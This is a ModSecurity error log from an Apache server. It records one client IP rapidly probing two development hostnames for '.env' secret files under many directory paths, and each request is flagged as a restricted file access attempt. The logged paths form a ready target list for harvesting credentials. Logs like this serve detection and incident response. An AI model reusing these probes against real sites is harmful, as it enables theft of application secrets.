[Fri Jul 17 09:14:26.841287 2026] [security2:error] [pid 2019501:tid 2019501] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/src/.env"] [unique_id "almlGrEWOaI5pmYo9fnR1AAAAAA"]
[Fri Jul 17 09:14:26.925898 2026] [security2:error] [pid 2028246:tid 2028246] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /cronlab/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/cronlab/.env"] [unique_id "almlGjsMb3am0TgkjETd5AAAAAo"]
[Fri Jul 17 09:14:26.926273 2026] [security2:error] [pid 2028246:tid 2028246] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/cronlab/.env"] [unique_id "almlGjsMb3am0TgkjETd5AAAAAo"]
[Fri Jul 17 09:14:26.926543 2026] [security2:error] [pid 2028246:tid 2028246] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlGjsMb3am0TgkjETd5AAAAAo"]
[Fri Jul 17 09:14:27.053679 2026] [security2:error] [pid 2019501:tid 2019501] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlGrEWOaI5pmYo9fnR1AAAAAA"]
[Fri Jul 17 09:14:27.093238 2026] [security2:error] [pid 2036488:tid 2036488] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /cron/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/cron/.env"] [unique_id "almlG7EKozcCJ-ReuK0F8gAAAAg"]
[Fri Jul 17 09:14:27.093519 2026] [security2:error] [pid 2036488:tid 2036488] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/cron/.env"] [unique_id "almlG7EKozcCJ-ReuK0F8gAAAAg"]
[Fri Jul 17 09:14:27.093904 2026] [security2:error] [pid 2036488:tid 2036488] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlG7EKozcCJ-ReuK0F8gAAAAg"]
[Fri Jul 17 09:14:27.222238 2026] [security2:error] [pid 2030955:tid 2030955] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /core/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/core/.env"] [unique_id "almlG_wooI4qY7Jg93pYnAAAABM"]
[Fri Jul 17 09:14:27.223467 2026] [security2:error] [pid 2030955:tid 2030955] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/core/.env"] [unique_id "almlG_wooI4qY7Jg93pYnAAAABM"]
[Fri Jul 17 09:14:27.261333 2026] [security2:error] [pid 2030804:tid 2030804] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /en/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/en/.env"] [unique_id "almlG4e39YUk0SgV8AU9OgAAABE"]
[Fri Jul 17 09:14:27.261627 2026] [security2:error] [pid 2030804:tid 2030804] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/en/.env"] [unique_id "almlG4e39YUk0SgV8AU9OgAAABE"]
[Fri Jul 17 09:14:27.261913 2026] [security2:error] [pid 2030804:tid 2030804] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlG4e39YUk0SgV8AU9OgAAABE"]
[Fri Jul 17 09:14:27.429934 2026] [security2:error] [pid 2013830:tid 2013830] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /administrator/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/administrator/.env"] [unique_id "almlGwRRrtuZqNDDSqWzNgAAABo"]
[Fri Jul 17 09:14:27.430318 2026] [security2:error] [pid 2013830:tid 2013830] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/administrator/.env"] [unique_id "almlGwRRrtuZqNDDSqWzNgAAABo"]
[Fri Jul 17 09:14:27.430698 2026] [security2:error] [pid 2013830:tid 2013830] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlGwRRrtuZqNDDSqWzNgAAABo"]
[Fri Jul 17 09:14:27.444871 2026] [security2:error] [pid 2030955:tid 2030955] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlG_wooI4qY7Jg93pYnAAAABM"]
[Fri Jul 17 09:14:27.599199 2026] [security2:error] [pid 2029579:tid 2029579] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /psnlink/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/psnlink/.env"] [unique_id "almlGyRF0UOO1RzB5_8xRQAAAA4"]
[Fri Jul 17 09:14:27.599472 2026] [security2:error] [pid 2029579:tid 2029579] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/psnlink/.env"] [unique_id "almlGyRF0UOO1RzB5_8xRQAAAA4"]
[Fri Jul 17 09:14:27.599781 2026] [security2:error] [pid 2029579:tid 2029579] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlGyRF0UOO1RzB5_8xRQAAAA4"]
[Fri Jul 17 09:14:27.612923 2026] [security2:error] [pid 1993619:tid 1993619] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /core/app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/core/app/.env"] [unique_id "almlG41dLClkUfK_dfHn3QAAAAI"]
[Fri Jul 17 09:14:27.614192 2026] [security2:error] [pid 1993619:tid 1993619] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/core/app/.env"] [unique_id "almlG41dLClkUfK_dfHn3QAAAAI"]
[Fri Jul 17 09:14:27.768615 2026] [security2:error] [pid 2013797:tid 2013797] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /exapi/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/exapi/.env"] [unique_id "almlG1h1WDijTxd1xw5PcgAAAAc"]
[Fri Jul 17 09:14:27.768914 2026] [security2:error] [pid 2013797:tid 2013797] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/exapi/.env"] [unique_id "almlG1h1WDijTxd1xw5PcgAAAAc"]
[Fri Jul 17 09:14:27.769161 2026] [security2:error] [pid 2013797:tid 2013797] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlG1h1WDijTxd1xw5PcgAAAAc"]
[Fri Jul 17 09:14:27.794817 2026] [security2:error] [pid 1993619:tid 1993619] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlG41dLClkUfK_dfHn3QAAAAI"]
[Fri Jul 17 09:14:27.936643 2026] [security2:error] [pid 2028246:tid 2028246] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /sitemaps/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/sitemaps/.env"] [unique_id "almlGzsMb3am0TgkjETd5QAAAAo"]
[Fri Jul 17 09:14:27.936904 2026] [security2:error] [pid 2028246:tid 2028246] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/sitemaps/.env"] [unique_id "almlGzsMb3am0TgkjETd5QAAAAo"]
[Fri Jul 17 09:14:27.937193 2026] [security2:error] [pid 2028246:tid 2028246] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlGzsMb3am0TgkjETd5QAAAAo"]
[Fri Jul 17 09:14:27.962812 2026] [security2:error] [pid 2029866:tid 2029866] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/config/.env"] [unique_id "almlG11_86A5R6msWNfXcAAAABI"]
[Fri Jul 17 09:14:27.963986 2026] [security2:error] [pid 2029866:tid 2029866] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/config/.env"] [unique_id "almlG11_86A5R6msWNfXcAAAABI"]
[Fri Jul 17 09:14:28.106034 2026] [security2:error] [pid 2036488:tid 2036488] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup1"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.env.backup1"] [unique_id "almlHLEKozcCJ-ReuK0F8wAAAAg"]
[Fri Jul 17 09:14:28.106302 2026] [security2:error] [pid 2036488:tid 2036488] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.env.backup1"] [unique_id "almlHLEKozcCJ-ReuK0F8wAAAAg"]
[Fri Jul 17 09:14:28.106612 2026] [security2:error] [pid 2036488:tid 2036488] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlHLEKozcCJ-ReuK0F8wAAAAg"]
[Fri Jul 17 09:14:28.174936 2026] [security2:error] [pid 2029866:tid 2029866] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlG11_86A5R6msWNfXcAAAABI"]
[Fri Jul 17 09:14:28.214007 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:28.274282 2026] [security2:error] [pid 2013830:tid 2013830] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup2"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.env.backup2"] [unique_id "almlHARRrtuZqNDDSqWzNwAAABo"]
[Fri Jul 17 09:14:28.274527 2026] [security2:error] [pid 2013830:tid 2013830] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.env.backup2"] [unique_id "almlHARRrtuZqNDDSqWzNwAAABo"]
[Fri Jul 17 09:14:28.274797 2026] [security2:error] [pid 2013830:tid 2013830] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlHARRrtuZqNDDSqWzNwAAABo"]
[Fri Jul 17 09:14:28.344205 2026] [security2:error] [pid 2018741:tid 2018741] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /private/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/private/.env"] [unique_id "almlHLoj0IkvhSCYadmEzgAAAAQ"]
